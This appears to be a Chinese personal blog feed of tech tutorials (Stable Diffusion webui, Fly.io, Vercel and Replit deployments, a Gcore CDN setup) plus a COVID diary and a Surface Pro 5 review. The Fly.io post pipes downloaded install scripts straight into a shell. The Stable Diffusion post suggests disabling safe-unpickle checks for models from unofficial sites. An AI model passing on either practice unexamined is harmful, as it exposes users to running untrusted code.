以pip的安装为例,首先我们在shell里面输入pip的时候会提示未安装,让我们选择需要的pip版本,按需要选择就行

然后nix包就会帮我们自动安装,在replit.nix里面也可以看到加入了一行

1
2
3
4
5
6
7
8
9
{ pkgs }: {
deps = [
pkgs.python39Packages.pip# 新加的一行
pkgs.unzip
pkgs.wget
pkgs.bashInteractive
pkgs.man
];
}

我这里上传一个biliCDN的主页作为演示,需要注意的是,可能是因为replit的nix路径配置问题,直接用pip安装的时候会出现权限不够的问题,所以我们要加入--target=这一个参数来指定安装的目录,我这里直接安装到了当前目录

虽然右边还是报了错,但是左边的目录里面可以看到轮子已经安装完了

这时候,修改一下main.sh里面的内容,改成能启动我们的服务(不建议改.replit里面的内容,容易因为$PATH里面没有加入环境变量而无法启动)

1
$ python app.py

启动完了以后,如果你的是HTTP服务的应用的话,会有一个webview窗口(如图),也会分配一个域名给你,不过可以绑定自定义域名,倒不如说建议绑定自定义域名,分配的repl.co实在是太慢了

应用保活

按照replit的规则,应用如果5分钟闲置就会被休眠(所以推荐在这上面部署HTTP服务,如果是TCP啥的容易活不了)

这里我用了网站监控平台BetterUptime,用法其实跟很多监控平台一样,就是加入自己的网站,然后定时监控

主要是监控的间隔时间要选择3分钟,要不然容易断掉

改完然后保存就行了,然后可以在Panel里面看到刚刚加进去的网站,然后放着不管就行了,只要没有报错的话就不会断掉的撒

费用

]]>
+ + + + + Tech + + + + + + + Tech + + + +
+ + + + + 关于我玩Stable-diffusion-webui的那些事 + + /posts/Stable-diffusion-webui-discovery/ + +

前段时间AI制图不是很火嘛,说NovelAI的制图效果可以比得上一些画师,然后当时B站就有很多的用AUTOMATIC1111/stable-diffusion-webui加上一堆模型来生成自己的图片

其实我一开始用的是naifu那一套,就是深紫色UI的那一个(图片在下面),而且是跑在colab上面的,这个跟stable-diffusion比的话没有负面Tag这个说法,就是给想要的图片的关键词,然后生成自己想要的图片

naifu版本

后来看到了Stable-diffusion这一套,换模型啥的会比naifu版更加方便,而且功能也更全面,于是果断转向naifu版

之前是跑在Google Colab上面的,但是最近不知道为什么抽风,stable-diffusion跑不起来(开到一半会自动被KeyboardInterupt),然后我就选择在我电脑上跑了

要是你想在Colab或者Kaggle上面跑的话,我这里也提供下载链接

stable-diffusion-webui 版本:下载链接

naifu-NovelAI 版本:下载链接

安装基本组件

这里我们需要从Github上面把源码给弄下来,打开终端输入

1
$ git clone https://github.com/AUTOMATIC1111/stable-diffusion-webui.git

然后进入stable-diffusion-webui文件夹,里面应该有几个bat或者sh脚本

Windows用户就逮着bat脚本用就行了,而Linux用户就用sh脚本

我们需要关注的是webui-user.batwebui-user.sh文件,在这两个文件里面我们可以设置我们的各项启动参数,以下以Windows为例

1
2
3
4
5
6
7
8
@echo off

set PYTHON=
set GIT=
set VENV_DIR=
set COMMANDLINE_ARGS=

call webui.bat

初始状态应该跟我一样是什么也没有的,我的电脑用的是NVIDIA Geforce RTX 3060 Laptop 6G显卡,这个显存虽然看起来很大,但是在机器学习这方面简直是不够用,为了避免爆显存,我们可以在COMMANDLINE_ARGS里面加上一些参数

如果你的电脑用的显卡跟我的差不多,那么只用加上一个--medvram就可以了,但如果你的电脑显卡显存小于等于4G,那么我推荐使用--lowvram作为启动参数

这里附上我的启动参数

1
2
3
4
5
6
7
8
9
@echo off

set PYTHON=
set GIT=
set VENV_DIR=
set COMMANDLINE_ARGS=--deepdanbooru --medvram --no-half-vae
set PYTORCH_CUDA_ALLOC_CONF=garbage_collection_threshold:0.9,max_split_size_mb:64

call webui.bat

这里多的后面会说

设置好启动参数以后,我们还需要下载一个模型,因为没有模型文件是启动不了的(这里模型不一定要是是官方的,官方的模型链接在Dependencies · AUTOMATIC1111/stable-diffusion-webui Wiki (github.com),但你也可以到我的分享站或者社区群体开的站SD - WebUI 资源站去下载)

把你下载好的模型,放到项目文件夹的models/Stable-diffusion文件夹下(没有的话自己创建一个)

我们双击webui-user.bat,它会自动进行环境的安装(当然Python是要预先装好的

整个过程会比较漫长,如果因为网络原因安装不下来的话试试挂个梯子

当看到如图所示的提示的时候,就说明已经开好了,我们可以访问给出的链接进入webui(默认端口是7860,但我开了一个实例在7860了,所以它就自动顺延到7861,实际使用请注意控制台给出的端口号)

访问给出的链接,我们就能到我们的webui控制台了

安装模型及关键词

这个其实上面提到了,就是把ckpt文件(checkpoint)丢到models/Stable-diffusion文件夹就行

不过我们下载到的东西不一定是ckpt文件,还有.vae.pt.pt文件,

简单来说,一般遵循以下原则(当然特殊问题特别看待哈,你别提供给你文件的人说放在指定的位置,你还按照我的这个来)

PT的使用方式:Pt放embeddings文件夹,施法输入对应文件名即可

在webui中能直接选择的其实就是models/Stable-diffusion里面的模型,在左上角有个选择框,如果你放进去了选择框里没有的话,你可以点一下左边的刷新

在这里选择我们想要的模型以后,我们就可以开始成图了

开始跑图

刚访问自己的webui,里面应该是像我这个这样

软件主界面

左上角显示目前选择的模型,下面有两个大框框,上面输入的是正面tag(就是你想要的图片里面应该是什么样的),下面的是负面tag(就是避免什么样的图)

然后再往下有个Sampling method是采样方式,就是生成图的时候,要用什么样的方式来对模型进行采样,这里我用得比较多的是Euler a EulerDDIM,右边是Sampling steps采样步数,采样步数越多越接近于你想要的图(不过是类似对数函数那样的,过大反而收益低)

再往下WidthHeight就是生成图片的宽度和高度,不宜太大,否则会爆显存(CUDA:Out of Memory),我3060用1280*720没问题

右半边有Batch Count生成图片的数量和Batch size是损失函数,一般只调整数量,关于这两个推荐阅读 → Batch Size的相关问题及如何选择Batch Size的大小 - 知乎 (zhihu.com)

往下有Seed,这个玩MC的应该不用说,种子嘛

还有个选项Hires. fix,这个是高清修复,说白了就是图片放大,同样小心爆显存!!!再往下的可以跳过了

现在,在上面的框框输入以下内容

masterpiece, best quality, official art, extremely detailed CG unity 8k wallpaper

在下面的框框里面输入

lowres, bad anatomy, bad hands, text, error, missing fingers, extra digit, fewer digits, cropped, worst quality, low quality, normal quality, jpeg artifacts, signature, watermark, username, blurry, bad feet,

然后点击右边的generate,等待大约两分钟,看到右边生成了一张图片(生成的图片取决于模型以及随机生成的种子,所以每次生成基本都是不一样的)

恭喜你!你已经会使用基本的SD功能了!生成的图片可以在outputs/txt2img-images里面找到!

启动项详解

在上面的教程中你会看到,我的启动项多了很多东西。在这里我把上面的东西搬下来

1
2
3
4
5
6
7
8
9
@echo off

set PYTHON=
set GIT=
set VENV_DIR=
set COMMANDLINE_ARGS=--deepdanbooru --medvram --no-half-vae
set PYTORCH_CUDA_ALLOC_CONF=garbage_collection_threshold:0.9,max_split_size_mb:64

call webui.bat

这里PYTHON GIT VENV_DIR这三个不用动(除非你知道你在做啥),我们主要关注下面两个

COMMANDLINE_ARGS是Stable-diffusion-webui的启动项,--deepdanbooru是训练tag的时候用的,可以在图片分割预处理的时候自动推断包含的tag,--medvarm就是怕炸显存才加的,上面也说过了,--no-half-vae主要用于解决生成图片时控制台报modules.devices.NansException的问题(看下面的报错环节)

PYTORCH_CUDA_ALLOC_CONF是给CUDA用的启动参数,这里garbage_collection_threshold决定了缓存的新旧与否(一般用0.5),而max_split_size_mb是CUDA分割内存的时候的分割快的大小。这个启动参数一般不用设置,除非你要训练模型啥的

插件安装

SD是可以安装插件的,而安装插件的方式很简单,在上方找到Extensions选项卡,然后再选择Avaliable,点击Load from:按钮(就那个橙色的),加载完后下面会出来个列表,在里面选择自己想要的就可以了

我这里装了一个image browser用于看图

报错以及相关的解决方式

生成图片时控制台报modules.devices.NansException

在启动参数里面加入--no-half-vae即可

加载模型时出现RuntimeError

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
changing setting sd_model_checkpoint to animefull-final-pruned.ckpt: RuntimeError
Traceback (most recent call last):
File "F:\Git\stable-diffusion-webui\modules\shared.py", line 534, in set
self.data_labels[key].onchange()
File "F:\Git\stable-diffusion-webui\modules\call_queue.py", line 15, in f
res = func(*args, **kwargs)
File "F:\Git\stable-diffusion-webui\webui.py", line 84, in <lambda>
shared.opts.onchange("sd_model_checkpoint", wrap_queued_call(lambda: modules.sd_models.reload_model_weights()))
File "F:\Git\stable-diffusion-webui\modules\sd_models.py", line 441, in reload_model_weights
load_model_weights(sd_model, checkpoint_info)
File "F:\Git\stable-diffusion-webui\modules\sd_models.py", line 240, in load_model_weights
sd = read_state_dict(checkpoint_info.filename)
File "F:\Git\stable-diffusion-webui\modules\sd_models.py", line 218, in read_state_dict
pl_sd = torch.load(checkpoint_file, map_location=map_location or shared.weight_load_location)
File "F:\Git\stable-diffusion-webui\modules\safe.py", line 106, in load
return load_with_extra(filename, extra_handler=global_extra_handler, *args, **kwargs)
File "F:\Git\stable-diffusion-webui\modules\safe.py", line 151, in load_with_extra
return unsafe_torch_load(filename, *args, **kwargs)
File "F:\Git\stable-diffusion-webui\venv\lib\site-packages\torch\serialization.py", line 705, in load
with _open_zipfile_reader(opened_file) as opened_zipfile:
File "F:\Git\stable-diffusion-webui\venv\lib\site-packages\torch\serialization.py", line 242, in __init__
super(_open_zipfile_reader, self).__init__(torch._C.PyTorchFileReader(name_or_buffer))
RuntimeError: PytorchStreamReader failed reading zip archive: failed finding central directory

解决方式:换个模型,该模型可能已经损坏

加载模型时出现AttributeError

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
-----> !!!! The file is most likely corrupted !!!! <-----
You can skip this check with --disable-safe-unpickle commandline argument, but that is not going to help you.


Failed to load checkpoint, restoring previous
Loading weights [7373d84140] from F:\Git\stable-diffusion-webui\models\Stable-diffusion\momoco_18000.ckpt
Applying cross attention optimization (Doggettx).
changing setting sd_model_checkpoint to animefull-final-pruned.ckpt: AttributeError
Traceback (most recent call last):
File "F:\Git\stable-diffusion-webui\modules\shared.py", line 534, in set
self.data_labels[key].onchange()
File "F:\Git\stable-diffusion-webui\modules\call_queue.py", line 15, in f
res = func(*args, **kwargs)
File "F:\Git\stable-diffusion-webui\webui.py", line 84, in <lambda>
shared.opts.onchange("sd_model_checkpoint", wrap_queued_call(lambda: modules.sd_models.reload_model_weights()))
File "F:\Git\stable-diffusion-webui\modules\sd_models.py", line 441, in reload_model_weights
load_model_weights(sd_model, checkpoint_info)
File "F:\Git\stable-diffusion-webui\modules\sd_models.py", line 240, in load_model_weights
sd = read_state_dict(checkpoint_info.filename)
File "F:\Git\stable-diffusion-webui\modules\sd_models.py", line 223, in read_state_dict
sd = get_state_dict_from_checkpoint(pl_sd)
File "F:\Git\stable-diffusion-webui\modules\sd_models.py", line 194, in get_state_dict_from_checkpoint
pl_sd = pl_sd.pop("state_dict", pl_sd)
AttributeError: 'NoneType' object has no attribute 'pop'

(治标不治本)在启动项添加--disable-safe-unpickle

资源推荐

模型下载站

主页 | SD - WebUI 资源站 (123114514.xyz)

首页 - NovelAI - Share4Nothing (share4nothing.cf)

AI绘画模型博物馆: http://aimodel.subrecovery.top

Tag列表

魔咒百科词典 (aitag.top)

NovelAI法术书 - Google 云端硬盘(要梯子)

NovelAI tag在线生成器

NovelAI魔导书

元素法典——Novel AI 元素魔法全收录

上述资源的QQ频道

NovelAI中文频道(u31uiz208r)

魔导师学院(2p6k6vzg5i)

没有频道功能点这个激活频道功能:点击链接加入QQ频道【接驳巴士】:https://pd.qq.com/s/47hvnz3w2

模型训练

易于上手的教程:https://qun.qq.com/qqweb/qunpro/share?_wv=3&_wwv=128&appChannel=share&inviteCode=1YB4AvdMsUl&contentID=1fAzWY&businessType=2&from=181174&shareSource=5&biz=ka

云平台

Kaggle: Your Home for Data Science

欢迎使用 Colaboratory - Colaboratory (google.com)(要梯子)

梯子

用户注册 | 三分机场 (xn–ehq00hgtfdmt.xyz)

Airports 个人机场/订阅汇总 - Airports (share4nothing.cf)

P站资源

本人:喵呜初音 - pixiv

]]>
+ + + + + Tech + + + + + + + Tech + + + +
+ + + + + 将jsdelivr镜像源迁移到Gcore —— Gcore CDN使用 + + /posts/Migrate-jsdelivr-mirror-to-Gcore/ + +

这几天一直在弄点其他的东西,昨天弄了个哔哩漫游的服务器(用的vercel),然后一看我的vercel的流量使用,这才多久就已经60G了,一个月的限额可是100G

让我想起上次我的服务被打,一天就区队去掉了150G,vercel直接给我报警,我就在想有没有其他的代替方案

虽然Vercel会判定为DDoS攻击,但是确实很恼人,而且流量没了以后Vercel是会闹脾气的,上次跟群友(就ClientWorker | 一个基于规则驱动的前端路由拦截器的维护者)讨论过这个问题,然后说建议弄个缓存,不过我对Vercel没有研究的多仔细,所以就没弄了

今天突然想到可以用Gcore,它有类似于CloudFlare的CDN服务,而且还挺快的,说干就干!


战前准备

  • Gcore账号
  • 自己的域名
  • 脑子

创建CDN资源

首先我们在左侧找到CDN,然后新建一个资源

加速类型我们选择第二个(第一个要改的东西太多了而且设置很麻烦还是算了吧)

第二步是设置源站和自定义域名,源站就直接填入cdn.jsdelivr.net,自定义域名就填自己的域名就好了,HTTPS打开,然后选择第一个Get free Let's Encrypt certificate

这里有个坑:如果你要使用自己的证书,不要用Cloudflare的SSL里面颁发的证书,没有Cloudflare小云朵的庇护的话那个证书是无效的!(这个坑了我至少半小时)

接着我们去DNS那里加一条记录(这里CNAME是跟账户绑定的,我的我自己用*屏蔽了)

后面直接确认过去就好了,要用CDN的话直接将资源文件的域名改为你的自定义域名

修改设置

这里有几个要改的设置

Origin pull protocol

这个是修改为源的协议就行了,如果你的源站,支持啥就选啥,因为jsd支持HTTPHTTPS所以我直接选择了第三个

Custom domain

这里可以添加自己的自定义域名,具体不讲,添加CDN资源的时候应该都加完了

CDN caching

这里设置CDN的缓存时间,按照自己的需求设置

Redirection from origin

这个很重要!!!如果不打开的话,访问的用户遇到重定向会直接重定向到指向的链接,打开的话CDN这边就会获取重定向后的内容然后返回给用户。因为jsd重定向到raw.githubcontent.com,这个国内会404,所以如果是jsd的反代的话一定要打开,下面的状态码直接全部选上就行了

Browser caching

这个用来控制浏览器端的缓存,根据自己的需要设置

Redirect HTTP to HTTPS

重定向到HTTPS,懂得都懂

GZip compression

这个是启用压缩,如果开了的话经过CDN的内容会压缩,省流

Response headers (add)

可以添加自定义headers,我这里加的东西如图

显示如下

Response headers (hide)

可以隐藏某些headers项,但是我想不到有啥用

Downlaod speed limit

设置下载速度,应该没啥用

Basic WAF

这个还处于Beta测试,说白了就是添多一层WAF

修改规则

在RULES选项卡(左边)可以到规则页面,可以添加自己的规则。我这里是什么都没有加,到时候封仓库的时候再用

总结

这是我第一次用真正意义上的CDN,Gcore还是挺好用的,速度也很快,一个月有1T的流量,应该够用了吧……

]]>
+ + + + + Tech + + + + + + + Gcore + + CDN + + jsdelivr + + + +
+ + + + + 使用Vercel平台部署哔哩漫游服务器(HK、SEA) + + /posts/Deploy-biliroaming-typescript-server-with-vercel/ + +

上次用fly.io部署了biliroaming-go-server教程),但是那个有bug,而且要求比较高(要信用卡,而且要服务器),这几天我在Github有找到了一个项目,可以将哔哩漫游服务器部署在Vercel上面


前置条件

  • 一个Github账号
  • Vercel平台

开始使用

我们直接访问这个项目的地址 -> bili-vd-bak/biliroaming-ts-server-vercel: 为BiliRoaming、哔哩UWP 等提供支持。包括支持基本功能、搜索替换、黑白名单的哔哩漫游服务端。部署在Vercel HK1。 (github.com)

然后fork一下这个项目,就点击顶上的fork键就好了,默认部署是在香港(hkg1),如果需要修改位置(只有香港和东南亚可选),则直接点开仓库里的vercel.json然后把里面的regions改掉

1
2
3
4
5
6
{
"cleanUrls": true,
"regions": [
"hkg1"
]
}

改成下面这样

1
2
3
4
5
6
{
"cleanUrls": true,
"regions": [
"sin1"
]
}

部署项目

访问Vercel(Develop. Preview. Ship. For the best frontend teams – Vercel),登陆以后,新建一个项目

然后import一下刚刚fork的项目

直接点击Deploy,然后等待部署完毕,点击Visit,顶上的链接就是你的服务器地址啦!

使用服务器

在哔哩漫游里面的对应位置填上服务器地址即可!

Bugs

目前没发现

]]>
+ + + + + Tech + + + + + + + Tech + + Host + + flyio + + biliRoaming + + + +
+ + + + + 与新冠肺炎搏斗的那些日子 + + /posts/Fight-against-COVID19/ + +

2022年12月18日下午,我感到十分地不适,在那之前,我们学院里有出现过COVID19(新冠肺炎)病例,所以整个学院都是在疫情管控状态,当我感受到我不适的那一刻我就知道,我很有可能是中招了。我第一次测量体温是37.4(刚刚过发烧线37.3),然后就把我丢到了临时的隔离房间去隔离去,说观察一个晚上再决定是否把我拉去隔离。

2022年12月18日晚,最后一次测量体温是38.1,此时的感觉是喉咙非常地干(话说这个自早上就是这样的了),而且四肢无力,特别是之前动过手术的左腿膝盖那个位置,很酸痛。

我就是带着各种不适的感觉睡了觉,期间起了三次,分别是十一点半、两点和四点

2022年12月19日,早上第一次测量体温,体温飙到了38.3度,这个被拉去隔离没跑了,早上四节课睡了两节课,中午就通知说去统一隔离点隔离,等中午过来以后第一次测了个体温,38.4,感觉头痛、四肢无力、喉咙干、有点流鼻涕、怕冷,来到隔离房间先倒头一睡,下午上课其实也心不在焉。等到了五点钟再测一次体温,好家伙直接给我干到了38.9度,稍微躺了躺感觉好了点,七点钟再测一次,体温下滑到了37.3度,虽然还是发烧,但是没那么严重了,症状轻了一些(当然也有可能是打了一下午COD的结果)

2022年12月20日,本来昨天是37.3的来着今早又到了38.1,说实在,感觉身体很酸痛,而且昨天的症状除了怕冷以外都还在,早上的第一二节课没有直播的那种网课,所以就开始了摸鱼模式,第三四节课概论说白了听了跟没听没区别。。。中午睡了个大觉,醒来已经14:44了(我们14:30下午上课),赶紧打开腾讯会议进去(至少是露个脸嘛),然后又开始摸鱼了(因为是中国近现代史纲要这门课程),下午测体温降到了37.4,然后跟群友玩了会Goose Goose Duck,刚开始玩也不同太懂怎么玩,玩完了等待吃饭

2022年12月21日,今天的体温稳定在37.4(发烧了,但是低烧),早上状态还行,就是喉咙痛,咳嗽,流涕;早上直接打开了FGO用脚本开始刷材料(太无聊了),一个手机开着电工网课,苏菲开着崩崩崩(FydeOS上装了一个),开始玩了起来。下午跟群友开始打CSGO官匹五黑,不能说我水平有多高,至少打得很快乐;晚上跟工作室的小伙伴一起打派派,第一把就成为了捍卫者(“这——是你的捍卫者”),后面就没吃过鸡了,不过体验还行,打下来发现头有点痛,唉不管了睡觉去了

2022年12月22日,早上没测体温,但是第一感觉是:头痛!小睡了一下,七点二十左右起的床,吃个早餐准备上课,这天没发烧,就是咳嗽很厉害,而且流鼻涕。

2022年12月23日,已经不怎么流鼻涕了,但是还是会咳嗽。晚上打了BF1,应该说其他小队太菜了嘛,我们四人小队拿第一(五人但是最后一个是几乎最后才加入的水友)。开了100个胶囊,发了俩视频,愉快的一天过去了

2022年12月24日,没怎么流鼻涕了,但是咳嗽,难受得很,头不痛。早上听到了一首很好听的V家曲(在下面),等待中午吃饭……

        

2022年12月25日,除了咳嗽基本没有什么症状了,好烦啊周日还要上课= =,唉没办法,期末考试提前一周了,慢慢来吧

2022年12月26日,上级好烦啊,做个展板要求又多,你又不给我工资,我还要为你累死累活真tm烦,太难了,明天抗原阴性就可以回去楼里隔离了,晚上继续战地1,第一次感到烂橘子比EA Desktop好用???!

2022年12月27日,抗原阴性,会楼里去了,早上玩了会死亡搁浅(键鼠玩的)。至此,我已经阳康啦!

]]>
+ + + + + Diary + + + + + + + Diary + + COVID19 + + experience + + + +
+ + + + + 使用Fly.io平台部署哔哩漫游服务器 + + /posts/Deploy-biliroaming-go-server-with-flyio/ + +

做这个是因为之前 @wuki 问我说能不能用Deploy app servers close to your users · Fly这个平台弄哔哩漫游服务器,然后借了我一个号,结果陆陆续续总共拖了将近半年才弄出来,在这留个记录。

请注意:fly.io平台免费账户需要信用卡验证后才能够部署项目!


这里我们使用的项目是JasonKhew96/biliroaming-go-server (github.com)

根据fly.io官方的文档,有以下地区可选(Regions · Fly Docs

Region IDRegion LocationGateway*
amsAmsterdam, Netherlands
cdgParis, France
denDenver, Colorado (US)
dfwDallas, Texas (US)
ewrSecaucus, NJ (US)
fraFrankfurt, Germany
gruSão Paulo
hkgHong Kong, Hong Kong
iadAshburn, Virginia (US)
jnbJohannesburg, South Africa
laxLos Angeles, California (US)
lhrLondon, United Kingdom
maaChennai (Madras), India
madMadrid, Spain
miaMiami, Florida (US)
nrtTokyo, Japan
ordChicago, Illinois (US)
otpBucharest, Romania
sclSantiago, Chile
seaSeattle, Washington (US)
sinSingapore
sjcSunnyvale, California (US)
sydSydney, Australia
wawWarsaw, Poland
yulMontreal, Canada
yyzToronto, Canada

在这里我们选择的就是香港地区(hkg),在部署中,它的cli是把当前目录下的文件打包为docker镜像上传到它的镜像库中再进行部署的

安装CLI

官网提供的安装方式如下

macOS

If you have the Homebrew package manager installed, flyctl can be installed by running:

1
brew install flyctl

If not, you can run the install script:

1
curl -L https://fly.io/install.sh | sh

Linux

Run the install script:

1
curl -L https://fly.io/install.sh | sh

Windows

Run the Powershell install script:

1
iwr https://fly.io/install.ps1 -useb | iex

但是因为我的网络太小霸王了,所以我用了Github的Codespaces来作为中介去干这个

使用Github Codespaces

在这个绿绿的Code按钮里面点到Codespaces,然后创建一个(我这里创建过了所以有一个)

直接打开,可以在网页打开,也可以接入自己的Vscode,进入以后按快捷键Ctrl + L-Shift + `打开一个终端,并把安装flyctl的命令写进去

这样就是安装完毕了,估计是Codespaces的机制问题,所以需要通过绝对路径去访问它

输入一下命令来登录(这里我就不打绝对路径了,这里假设是用本地电脑且flyctl已经加入环境变量)

1
$ flyctl auth login

然后终端会显示一个链接,如果你跟我一样用的是Codespaces,那就把这个链接放到自己的浏览器里面去访问登录就行了,如果你是本地运行,应该会自动打开登录页面(没截图,登录应该是小问题)

初始化项目

首先打开.gitignore文件和.dockerignore文件(如果有的话),把里面的内容全部删掉,因为部署的时候我们是需要把配置文件给一起上传的,而.gitignore把这些文件都排除掉了,所以要删掉里面的所有内容

再打开fly.toml,在最底下加上这些内容

1
2
[build.args]
BP_KEEP_FILES = "*"

不这么做的后果↓

1
2
3
4
5
6
7
8
9
10
11
12
2022-12-19T10:02:56.427 runner[86dbcaaa] hkg [info] Starting instance
2022-12-19T10:02:58.492 runner[86dbcaaa] hkg [info] Configuring virtual machine
2022-12-19T10:02:58.494 runner[86dbcaaa] hkg [info] Pulling container image
2022-12-19T10:02:59.436 runner[86dbcaaa] hkg [info] Unpacking image
2022-12-19T10:02:59.450 runner[86dbcaaa] hkg [info] Preparing kernel init
2022-12-19T10:02:59.946 runner[86dbcaaa] hkg [info] Configuring firecracker
2022-12-19T10:03:00.411 runner[86dbcaaa] hkg [info] Starting virtual machine
2022-12-19T10:03:00.671 app[86dbcaaa] hkg [info] Starting init (commit: f447594)...
2022-12-19T10:03:00.700 app[86dbcaaa] hkg [info] Preparing to run: `/cnb/process/biliroaming-go-server` as 1000
2022-12-19T10:03:00.723 app[86dbcaaa] hkg [info] 2022/12/19 10:03:00 listening on [fdaa:0:6690:a7b:7f07:86db:caaa:2]:22 (DNS: [fdaa::3]:53)
2022-12-19T10:03:00.816 app[86dbcaaa] hkg [info] 2022/12/19 10:03:00 stat ./config.yml: no such file or directory
2022-12-19T10:03:01.705 app[86dbcaaa] hkg [info] Starting clean up.

接着我们把Dockerfile删掉,因为如果有这个文件的话,flyctl会把这个判定为docker项目,这样的话我们就很难把配置文件丢进去,所以我们要更改它的判定,将判定改为go项目,所以要删掉这个

然后运行以下命令来初始化,跟着它的提示进行就行,只是最后问我们要不要部署,我们先选择不部署,因为我们接下来要导入数据库(记得把弹出来的数据库连接信息记住,因为它只会展示一次,然后就找不到啦)

接着我们修改一下项目的端口,将config.example.yml复制一份,为config.yml找到port,把后面的数字改为8080

接着我们打开config.yml修改数据库配置,找到以下内容,注释掉passwordFile,然后修改配置为我们前面创建数据库时给的内容

1
2
3
4
5
6
7
8
# 数据库
postgreSQL:
host: "<app_name>-db.internal"
user: "postgres"
password: 'password'
#passwordFile: "/run/secrets/db-password"
dbName: "<db>"
port: 5432

导入数据库

fly.io的创建的数据库进行连接的时候是使用内部域名进行连接的(格式大概是<app_name>-db.internal,所以我们不能够通过正常的方式进行连接。所幸,flyctl里面可以把数据库给映射到本地

使用以下命令进行映射

1
$ flyctl proxy 5432 -a <db_name>

这里我就使用下面这个命令进行连接

1
$ flyctl proxy 5432:5432 -a biliroaming-tutorial-db

显示如下内容的时候就是可以进行连接了

1
Proxying local port 5432 to remote [biliroaming-tutorial-db.internal]:5432

codespaces还可以在PORTS选项卡里看到绑定的本地端口

这里使用navicat进行连接,在测试之前一定要确保信息填对了

连接以后,我们在左侧可以看到两个数据库,一个是postgres,一个是<app_name>用哪个随便,不过如果要用<app_name>那个,就需要在配置文件里面相应地改掉(在初始化项目那里的数据库连接那个地方)

右键自己需要使用的数据库,选择Execute SQL File(执行SQL脚本,我这里是英文版),然后逐个将项目的sql文件夹内的脚本执行,构建数据库结构

部署项目

使用以下命令来部署项目

1
$ flyctl deploy

如果在部署过程中遇到了下面这个问题(用codespaces就出现了,不过这个好像是它服务器的部署器的问题而不是我codespaces的问题)

1
Error failed to fetch an image or build from source: downloading buildpack: extracting from registry gcr.io/paketo-buildpacks/go: fetching image: error pulling image configuration: error parsing HTTP 403 response body: invalid character '<' looking for beginning of value: "<?xml version='1.0' encoding='UTF-8'?><Error><Code>AccessDenied</Code><Message>Access denied.</Message><Details>We're sorry, but this service is not available in your location</Details></Error>"

那就要加多个--local-only参数,变成

1
$ flyctl deploy --local-only

当你的fly.io项目的monitor里面显示如下就是部署成功了

1
2
3
4
5
6
7
8
9
10
11
12
13
2022-12-19T10:35:04.789 runner[fa79ac75] hkg [info] Starting instance
2022-12-19T10:35:07.119 runner[fa79ac75] hkg [info] Configuring virtual machine
2022-12-19T10:35:07.121 runner[fa79ac75] hkg [info] Pulling container image
2022-12-19T10:35:14.098 runner[fa79ac75] hkg [info] Unpacking image
2022-12-19T10:35:15.511 runner[fa79ac75] hkg [info] Preparing kernel init
2022-12-19T10:35:15.926 runner[fa79ac75] hkg [info] Configuring firecracker
2022-12-19T10:35:16.157 runner[fa79ac75] hkg [info] Starting virtual machine
2022-12-19T10:35:16.547 app[fa79ac75] hkg [info] Starting init (commit: f447594)...
2022-12-19T10:35:16.591 app[fa79ac75] hkg [info] Preparing to run: `/cnb/process/biliroaming-go-server` as 1000
......
2022-12-19T10:35:17.834 app[fa79ac75] hkg [info] DELETE FROM "th_subtitle_caches" WHERE ("th_subtitle_caches"."updated_at" <= $1);
2022-12-19T10:35:17.834 app[fa79ac75] hkg [info] [2022-12-19 10:20:17.834077308 +0000 UTC]
2022-12-19T10:35:17.835 app[fa79ac75] hkg [info] 2022-12-19T10:35:17.835Z DEBUG biliroaming-go-server/main.go:124 Cleanup 0 TH subtitle cache

获取ipv4地址

因为fly.io默认只分配了ipv6地址,然而ipv6还没有普及,我们还是需要ipv4的

使用以下命令来为项目获取ipv4地址

1
$ flyctl ips allocate-v4 -a <app_name>

会显示获取到的IP地址等信息

1
2
VERSION IP              TYPE    REGION  CREATED AT 
v4 149.248.221.246 public global 7s ago

已知的bug

显示“账号未登录”

]]>
+ + + + + Tech + + + + + + + Tech + + Host + + flyio + + biliRoaming + + + +
+ + + + + 就决定是你啦!苏菲婆5! —— 谈谈我对Surface Pro 5的使用体验以及各种骚操作 + + /posts/Enchance-my-Surface-Pro-5/ + +

今年的九月份,我卖掉了我的老联想 Yoga 370,然后购置了一台Surface Pro 5顶配版给我自己用

起初是想当做笔记本用的(因为可以用笔),后来才发现有很多的用途

本文旨在记录我在Surface Pro 5上面的各种骚操作,以及我的个人使用体验,告诉你为什么在2202年,我还要选择一台仅仅配置是7代i7的微软亲儿子Surface Pro 5

先上两张实物图(背膜是拿图片找某宝做的)


购买

很简单,鱼子上面一搜,就有很多,我找的是个人使用的那种(其实鱼子上面很轻易能看出谁是二道贩子,谁是个人卖家),卖家跟我说电池有点问题,其他没啥问题。我想都17年还是18年的产品了,电池有点问题也是正常的事情,然后就一拍即合,拍下了这台苏菲Pro 5

等我拿到手以后,我发现事情没有那么简单,确实是电池有问题,但是这个电量显示完全不准,有可能我还在办公,电池剩下50%左右的电量就直接给我关机了,等我怎么按下开机键也没用,接上电源后才发现是没电了。

于是我在某宝上一搜,果然有换电池的,价格在280~450不等,我想这个价格也算是合理,毕竟苏菲这东西集成度太高了,拆的也难。于是我找了一家标价是280的,然后把机子寄了过去换电池。

某天晚上自习课刚下课,突然我的OPPO Watch接到一通电话,一听才知道是某宝维修商,他说我的电脑不仅是电池有问题,主板还漏电,对钱比较敏感的我问了一句修这个花多少钱,总之最后价格讲下来就是460

拿到修好的苏菲,我就开始了我的捣鼓之旅。

Windows(Windows11)体验

既然是微软亲儿子,那Windows的体验是少不了的,我这台装的是Windows 11 Professional(专业版)

既然Surface是一个笔记本(真笔记本,不是电脑层面的笔记本),那肯定得走一波手写笔的体验

我用了巨硬自带的OneNote for Windows 10(没错Win11还用的是Win10的),这个东西在我弄数学建模竞赛的时候发挥了非常大的作用

而且Onenote有个好处,如果你在其他机器上登陆同一个Onenote账户,可以直接同步(下面这个是我游戏本上的截图)

当然,因为Surface独有的触屏体验,还可以玩Osu(虽然以前那台LENOVO也可以点着玩)【忘截屏了】

还可以拿来推GALGAME(没下完,就截个Steam意思意思吧),但是拿来打CSGO那就是小霸王了(一帧能玩,两帧流畅,三帧电竞)

这个3:2的屏幕,写代码也是杠杠的(图为弄数模的时候的数据处理)

还可以顺带玩一玩SDVX(民间版本,不外传,因为禁用了键盘所以是拍的)

再加上Win11对触屏本身的BUFF加持,让苏菲变得比某希沃好用多了

Linux(Ubuntu)体验【略】

因为我用Ubuntu的时候没截屏过,然后输入法配置问题把我搞得心态崩了直接把Ubuntu删了,所以这一届没有图片

总的来说是还可以,但是要经过一番配置才可以,你需要安装一个Kernel才能解锁Surface的全部功能(包括触屏等)

